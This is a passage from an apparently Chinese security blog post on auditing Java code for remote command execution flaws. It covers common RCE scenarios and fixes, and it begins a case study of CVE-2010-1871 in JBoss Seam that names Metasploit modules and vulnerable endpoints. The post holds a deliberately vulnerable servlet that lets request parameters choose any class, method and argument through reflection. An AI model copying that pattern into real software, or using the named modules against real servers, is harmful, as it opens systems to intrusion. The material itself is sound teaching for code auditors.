&#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x02 漏洞原理</h2><p><span name="menu_index_5" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h4 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 14px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">1、RCE 漏洞的定义及原理</h4><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">RCE 的中文名称是远程命令执行，指的是攻击者通过Web 端或客户端提交执行命令，由于服务器端没有针对执行函数做过滤或服务端存在逻辑漏洞，导致在没有指定绝对路径的情况下就可以执行命令。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">RCE 漏洞的原理其实也很简单，就是通过开发人员没有针对代码中可执行的特殊函数或自定义方法入口做过滤，导致客户端可以提交恶意构造语句，并交由服务器端执行。常见的可执行函数如：<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">Runtime.exec()</code>，当然我们审计的时候，决不能只根据这个函数来，其他的审计点如：Process、<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">ProcessBuilder.start()</code>等也是很重要的内容。</p><p><span name="menu_index_6" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h4 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 14px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">2、RCE 漏洞可能出现的场景</h4><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">RCE 出现的场景比较多，如：</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">1、服务端直接存在可执行函数（<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">exec()</code>等），且对传入的参数过滤不严格导致 RCE 漏洞</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">2、服务端不直接存在可执行函数（<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">exec()</code>等），且对传入的参数过滤不严格导致 RCE 漏洞</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">3、由表达式注入导致的RCE漏洞，常见的如：OGNL、SpEL、MVEL、EL、Fel、JST+EL等</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">4、由java后端模板引擎注入导致的 RCE 漏洞，常见的如：Freemarker、Velocity、Thymeleaf等</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">5、由java一些脚本语言引起的 RCE 漏洞，常见的如：Groovy、JavascriptEngine等</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">6、由第三方开源组件引起的 RCE 漏洞，常见的如：Fastjson、Shiro、Xstream、Struts2、weblogic等</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">以上是RCE 漏洞出现比较频繁的场景，原理也有些许不同，有的是过滤不严格导致，有的是反序列化调用链导致，有的是特性导致，在这里仅对过滤不严格进行介绍，后两者会在后续的文章中逐一介绍。</p><p><span name="menu_index_7" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h4 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 14px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">3、项目具体演示</h4><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">拿上述项目举例，首先看看项目的具体实现：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.47189922480620156" data-s="300,640" style="" data-type="png" data-w="2064" src="https://wechat2rss.xlab.app/img-proxy/?k=043eeffc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1PZ7dyLJVmZmia9iazN6MXquF81AakJLz1Oib3sAriaK8rTDqBHufZ9MpMQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">command 为请求的类，method 为请求类的方法，str 为请求类的参数，服务端接收这三个参数后执行 method 的具体方法，如上图所示，首先找到 <code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">com.sec.pojo.Command</code>类，然后找到该类中的<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">AddCommand</code>方法，最后根据这个方法的需要，传入指定的参数<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">[add]</code>。</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="1.0034482758620689" data-s="300,640" style="" data-type="png" data-w="1160" src="https://wechat2rss.xlab.app/img-proxy/?k=4d947c7c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1TptXSiaWDUVVSgjonCt84fXibgmZiacN4pgBbfbWKicYDlFZktDib1bhuZg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">项目的实现内容很简单，就是接收参数--&gt;执行操作，下面我们来看这是怎么实现的。在<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">recTest.java</code>中，存在如下代码：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">CommandFound</span><span style="box-sizing: border-box;">(HttpServletRequest req, HttpServletResponse resp)</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">throws</span> ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException, IOException </span>{<br/>        <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// TODO Auto-generated method stub</span><br/>        PrintWriter print = resp.getWriter();<br/>        <br/>  <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// 接收参数</span><br/>        String name = req.getParameter(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;command&#34;</span>);<br/>        String method = req.getParameter(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;method&#34;</span>);<br/>        String str = req.getParameter(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;str&#34;</span>);<br/>  <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// 获取类的无参数构造方法</span><br/>        Class getCommandClass = Class.forName(name);<br/>        Constructor constructor = getCommandClass.getDeclaredConstructor();<br/>        constructor.setAccessible(<span style="box-sizing: border-box;color: rgb(204, 153, 204);">true</span>);<br/>    <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// 实例化类</span><br/>        Object getInstance = constructor.newInstance();<br/>    <br/>  <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// 获取类方法</span><br/>        Method getCommandMethod = getCommandClass.getDeclaredMethod(method, String.class);<br/>        getCommandMethod.setAccessible(<span style="box-sizing: border-box;color: rgb(204, 153, 204);">true</span>);<br/>  <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// 调用类方法</span><br/>        Object mes = getCommandMethod.invoke(getInstance, str);<br/>        <br/>        print.println(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;即将执行的操作指令：&lt;br&gt;&#34;</span>);<br/>        print.println(mes);<br/>        print.flush();<br/>    }<br/>}</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">上段代码中，首先通过反射获取类名，再通过反射获取类方法并使用，这些利用的都是Java 的反射机制。java 的反射机制这里就不详细说明了，有兴趣的朋友可以看看我的这篇文章：<a href="https://www.cnpanda.net/codeaudit/705.html" target="_blank">https://www.cnpanda.net/codeaudit/705.html</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">有心的朋友可能发现了，上述代码中没有出现任何一个可执行函数（如exec()、system()等），但是却存在 RCE 漏洞。如下图所示：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.552903739061257" data-s="300,640" style="" data-type="png" data-w="2514" src="https://wechat2rss.xlab.app/img-proxy/?k=c8af7bd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1jv9e2yshALia0N4YrXI1iaICSasArXnAT65tfvQfNlUaAYq2K2Yjy3rA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">可以发现，由于代码对于我们传入的类、传入类的方法、传入类的参数没有做任何限制，从而导致了 RCE 漏洞，这也是RCE 漏洞可能出现场景中的第二项。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">实际上，现在由于反序列化的流行，RCE 漏洞也成为了常客出现在反序列化中，也正是这样，导致反射大量的运用，因为最终要一层层调用链去实现 RCE。</p><p><span name="menu_index_8" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x03 修复方案</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">由于命令执行所处的场景不同，因此修复的方式也要根据实际场景来。总的来说，需要注意以下几点：</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">1、禁止用户控制由程序执行的命令。如果用户的输入会影响程序原本的命令执行，那么应该设置一个安全白名单，使用户的输入变成从预定的安全命令集合中进行选择。若在用户的输入中检测出了非白名单中的命令，那么默认从安全命令集合中选择合适的命令给予替换，或者直接拒绝执行该命令。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">2、如果需要将用户的输入用作程序命令中的参数，那么需要对用户的输入进行过滤，但实际场景过于复杂、参数难以追踪，导致这种过滤难度很大，在程序有选择的过滤潜在的危险字符时，只要攻击者的字符不在其黑名单内，那么应用程序受到攻击的概率将显著提高，所以更好的方法是组建一份白名单，允许其中的字符出现在输入中，并只接受完全由这些经认可的字符组成的输入，当然这种方案并不是完美的，有时候攻击者通过白名单内的字符组建绕过检测，同样可以达到攻击的目的，因此如何构建白名单、如果设置过滤机制是关键。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">3、有时候攻击可以通过修改环境中的命令指令来达到攻击的效果，因此应该设置绝对路径来执行命令。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">4、严格设置权限，有的时候我们所需执行命令仅需要很小的权限，如在上方示例代码中，如果我们不设置<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">setAccessible(true);</code>，那么攻击者就无法调用 <code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">Runtime.exec()</code>命令。</p><p><span name="menu_index_9" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x04 实际案例（CVE-2010-1871）分析</h2><p><span name="menu_index_10" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h4 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 14px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">1、案例介绍</h4><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">CVE 地址：<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1871" target="_blank">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1871</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">用于Red Hat Linux的JBoss企业应用程序平台4.3.0中使用的JBoss Seam 2（jboss-seam2）不能正确过滤JBoss表达式语言（EL）表达式的输入，这使远程攻击者可以通过精心制作的URL执行任意代码 。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">值得注意的是，在这个漏洞的CVE 介绍中提到：”仅当未正确配置Java安全管理器时，这才是漏洞。“但其实这个漏洞有两个不同的点，如下图，当我们在Metasploit中搜索 cve-2010-1871时：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.16346153846153846" data-s="300,640" style="" data-type="png" data-w="2288" src="https://wechat2rss.xlab.app/img-proxy/?k=24547b45&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1Xb3sTKSSBK35sxZoJ2b0UpdABsF0S5Ic27n43pJcNdY7BlrRCE92Ow%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">存在两个exploit，首先看第一个<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">auxiliary/admin/http/jboss_seam_exec</code>的配置</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.23408423114593535" data-s="300,640" style="" data-type="png" data-w="2042" src="https://wechat2rss.xlab.app/img-proxy/?k=16a341af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB103H8xC1yrAvJKzHibDfEgHcicDbqQEXuVVNahzMNrqarmVkicUqncbK9A%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">可以看到其实这个exploit 利用的点在<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">/seam-booking/home.seam</code></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">而<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">exploit/multi/http/jboss_seam_upload_exec</code>的配置：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.24017790956263899" data-s="300,640" style="" data-type="png" data-w="2698" src="https://wechat2rss.xlab.app/img-proxy/?k=212c2fd6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1D6hw2JQBrCcs7GmPRPsUAzdMbPgtjP0YkWDmlDrRhXj3wlGCKmP5MQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">这个 exploit 利用点在<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">/admin-console.login.seam</code>，当配置了java安全管理器后，该漏洞利用不成功。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: 